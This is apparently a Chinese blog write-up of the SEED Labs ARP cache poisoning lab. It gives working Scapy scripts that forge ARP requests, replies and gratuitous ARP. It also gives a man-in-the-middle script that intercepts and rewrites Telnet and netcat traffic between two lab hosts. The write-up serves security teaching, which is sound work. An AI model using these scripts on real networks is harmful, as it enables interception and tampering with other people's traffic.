【SeedLab】ARP Cache Poisoning Attack Lab
目录
实验手册
实验环境
Task 1: ARP Cache Poisoning
Task 1.A (using ARP request).
Task 1.B (using ARP reply).
Task 1.C (using ARP gratuitous message).
Task 2: MITM Attack on Telnet using ARP Cache Poisoning
Task 3: MITM Attack on Netcat using ARP Cache Poisoning
实验手册
ARP Cache Poisoning Attack Lab
实验环境
Task 1: ARP Cache Poisoning
本节任务需要通过packet伪造发起ARP缓存毒害攻击。当HostA与HostB相互通信时,他们的ARP数据将被Attacker拦截并修改,使得Attacker成为HostA与HostB的中间人(中间人攻击)。当然,当前任务只关注ARP缓存毒害的部分。
Task 1.A (using ARP request).
在Attacker的主机上向HostA发送一则ARP请求,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。
首先在HostA上使用命令arp -n确保HostA此前没有记录HostB的IP-MAC映射。如果有,使用arp -d 10.9.0.x清除这条映射关系
接下来需要使用ifconfig查询MAC地址,然后实现代码并在Attacker上运行这则代码。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A) # 定义Attacker发往HostA的数据帧
arp = ARP() # 定义一个ARP报文
arp.op = 1 # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6' # 伪造HostB发送的ARP请求
arp.pdst = '10.9.0.5' # 发给HostA
arp.hwsrc = MAC_M # 告诉HostA,发送方的MAC地址
sendp(ether/arp) # sendp用于在数据链路层发送一个帧(不是send)
此时,我们再在HostA上查询arp缓存,即可发现HostB的IP被映射为Attacker的MAC地址。
Task 1.B (using ARP reply).
在Attacker的主机上向HostA发送一则ARP回复,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。在此之前,需要保证正确的IP-MAC关系存在于HostA的缓存中。
我们在Attacker上运行以下代码
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A) # 定义Attacker发往HostA的数据帧
arp = ARP() # 定义一个ARP报文
arp.op = 2 # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6' # 伪造HostB发送的ARP回复
arp.pdst = '10.9.0.5' # 发给HostA
arp.hwsrc = MAC_M # 告诉HostA,发送方的MAC地址
arp.hwdst = MAC_A
sendp(ether/arp) # sendp用于在数据链路层发送一个帧(不是send)
此时查询HostA的ARP缓存,即可看到映射关系被修改。
接下来,我们清空掉HostA的ARP缓存,在尝试一遍攻击。此时发现HostA虽然接收到了Attacker的ARP回复,但并没有将其写入缓存。这与Linux内核的策略有关。
Task 1.C (using ARP gratuitous message).
在Attacker的主机上向HostA发送一则免费ARP,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。ARP免费包是一种特殊的ARP请求包,当主机需要更新其他机器上的ARP缓存时使用,这种数据包有以下特点:
1. 目的IP与源IP相同,均为需要更新的映射关系的IP
2. 目的MAC地址为广播地址
3. 不产生回复报文
接下来实现代码并在Attacker上运行,在此之前,确保正确的IP-MAC关系存在于HostA的缓存中。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
ether = Ether(src = MAC_M, dst = MAC_BROADCAST)
arp = ARP() # 定义一个ARP报文
arp.op = 2
arp.psrc = '10.9.0.6'
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
arp.hwdst = MAC_BROADCAST
sendp(ether/arp)
运行代码后,HostA中,关于HostB的IP-MAC映射关系被修改
接下来删除HostA上的ARP缓存,重新发起攻击尝试,结果同Task1.B,关系不会被HostA计入缓存。
Task 2: MITM Attack on Telnet using ARP Cache Poisoning
HostA与HostB通过Telnet交换信息,而HostM通过改变两者数据传输路径截获他们的信息,即“中间人“攻击。基本方法即修改HostA和HostB的ARP映射,使A与B的数据均通过M转发。
我们需要首先修改HostA和HostB的ARP缓存,使Attacker充当它们的“中间人”。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
# 修改HostA的MAC映射
ether = Ether(src = MAC_M, dst = MAC_A)
arp = ARP(op=1)
arp.psrc = '10.9.0.6'
arp.pdst = '10.9.0.5'
arp.hwsrc = MAC_M
sendp(ether/arp)
# 修改HostB的MAC映射
ether = Ether(src = MAC_M, dst = MAC_B)
arp = ARP(op=1)
arp.psrc = '10.9.0.5'
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
sendp(ether/arp)
接下来实现Attacker完成中间人攻击的程序。实现后不着急启动。注意,这里filter应使用MAC作为过滤条件而非IP,因为Attacker在send数据包时不会修改IP,会导致由Attacker发送的伪造包再次被Attacker接收篡改(相当于一种死循环)。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
HOST_A = '10.9.0.5'
HOST_B = '10.9.0.6'
# 中间人攻击
def spoofing(pkt):# 截获A ---> B的数据if pkt[IP].src == HOST_A and pkt[IP].dst == HOST_B:newpkt = IP(bytes(pkt[IP]))# 删除校验和以及原有的携带信息del(newpkt.chksum)del(newpkt[TCP].payload)del(newpkt[TCP].chksum)# 携带数据时,对数据进行处理再转发if pkt[TCP].payload:data = pkt[TCP].payload.loadnewdata = re.sub(r'[0-9a-zA-Z]', r'x', data.decode('utf-8'))# print(newdata)send(newpkt/newdata)else:send(newpkt)return# 截获B ---> A的数据if pkt[IP].src == HOST_B and pkt[IP].dst == HOST_A:# 不做处理直接转发# 注意数据包每经过一次路由转发,都会修改报文头信息,# 需要重新计算校验和newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].chksum)send(newpkt)return
filter = 'tcp and (ether src ' + MAC_A + ' or ' + 'ether src ' + MAC_B + ')'
pkt = sniff(iface = 'eth0', filter = filter, prn = spoofing)
接下来开始实现中间人攻击。首先在HostA上远程访问HostB,使用命令telnet 10.9.0.6访问HostB。由于Linux主机默认进行路由转发,因此在telnet完成远程连接后,需要通过sysctl net.ipv4.ip_forward=0关闭Attacker的路由转发功能。接下来即可运行以上中间人攻击的代码,此时即可发现,在HostA键入的字符全部被替换为'x'
Task 3: MITM Attack on Netcat using ARP Cache Poisoning
程序保持不变,而是用nc进行HostA到HostB的交互。可以看出,A发往B的信息被M篡改。
(使用ctrl+]进入telnet命令行页面,输入quit回车即可退出telnet远程)
只不过这个Task需要先运行中间人攻击程序,然后在HostB使用nc -lp 9090监听9090端口,之后在HostA使用nc 10.9.0.6 9090发送消息,即可观察到以下现象
【SeedLab】ARP Cache Poisoning Attack Lab相关推荐
- 【Seedlabs】ARP Cache Poisoning Attack Lab
目录 一.实验环境 二.实验内容 Task 1: ARP Cache Poisoning Task 2: MITM Attack on Telnet using ARP Cache Poisoning ...
- 【SEED Labs 2.0】ARP Cache Poisoning Attack Lab
本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录. 文章目录 实验原理 Task 1: ARP Cache Poisoning Task ...
- 【SEED Lab】ARP Cache Poisoning Attack Lab
ARP Cache Poisoning Attack Lab 一.实验的基本环境 一共有三台机器,我们使用Host M进行攻击,因为ARP协议只在局域网上运行,所以三台机器在同一个局域网上面. 二.实 ...
- (SEED-Lab) ARP Cache Poisoning Attack Lab
(SEED-Lab) ARP Cache Poisoning Attack Lab 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录 (SEED-Lab) ARP ...
- ARP Cache Poisoning Attack Lab(SEED实验)
ARP Cache Poisoning Attack Lab(SEED实验) ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段.本实验使用scap ...
- SEEDLab ARP Cache Poisoning Attack Lab 实验报告
文章目录 实验过程 实验环境 一个小tips task1:ARP Cache Poisoning task 1A (using ARP request) 实验过程一个小tips: task 1B (u ...
- 【SeedLab】BGP Exploration and Attack Lab
1 实验环境 本实验需要使用SEED互联网仿真器(已集成到docker配置文件). 启动docker容器,配置文件在/Labsetup/outputs/目录下.由于要配置很多docker容器,所以构建 ...
- 【SeedLab】Packet Sniffing and Spoofing Lab
实验环境 Lab Task Set 1: Using Scapy to Sniff and Spoof Packets 本节实验要求:借助Scapy库,实现网络流量的捕获与伪造. Task 1.1: ...
- TASK 5 ARP Cache Poisoning
不想学习,所以自己随便写写,不一定对,看个乐呵 Task 1: ARP Cache Poisoning 前面的大意是构造arp数据包的方法,此处略过 Task 1.A (using ARP reque ...
最新文章
- JSP笔记-页面重定向
- 关于枚举概念的理解以及存在意义
- JavaScript -- 时光流逝(三):js中的 String 对象的方法
- python中列表的sort方法_python中列表的sort方法使用详解
- Hadoop概念学习系列之Hadoop 生态系统
- js里apply方法的简单实例
- 大型开发项目中 git 工作流的最佳实践
- python爬虫实现网页采集器
- 需求管理-需求的结构
- python 时间处理_Python如何进行时间处理
- 新建的mvn项目目录结构问题
- 系列文章--SharePoint 2013 开发教程
- JDK11 JAVA11下载安装与快速配置环境变量教程
- 襄阳2021年高考成绩查询,2021湖北襄阳高考成绩公布时间
- SI(crosstalk)对common path的影响(CPPR)
- cadence——基本操作1
- 音频文件wav转gsm
- python进阶学习--PyCharm使用
- PC时代结束 Web取而代之
- n76e003引脚图_新手如何入门新塘N76E003单片机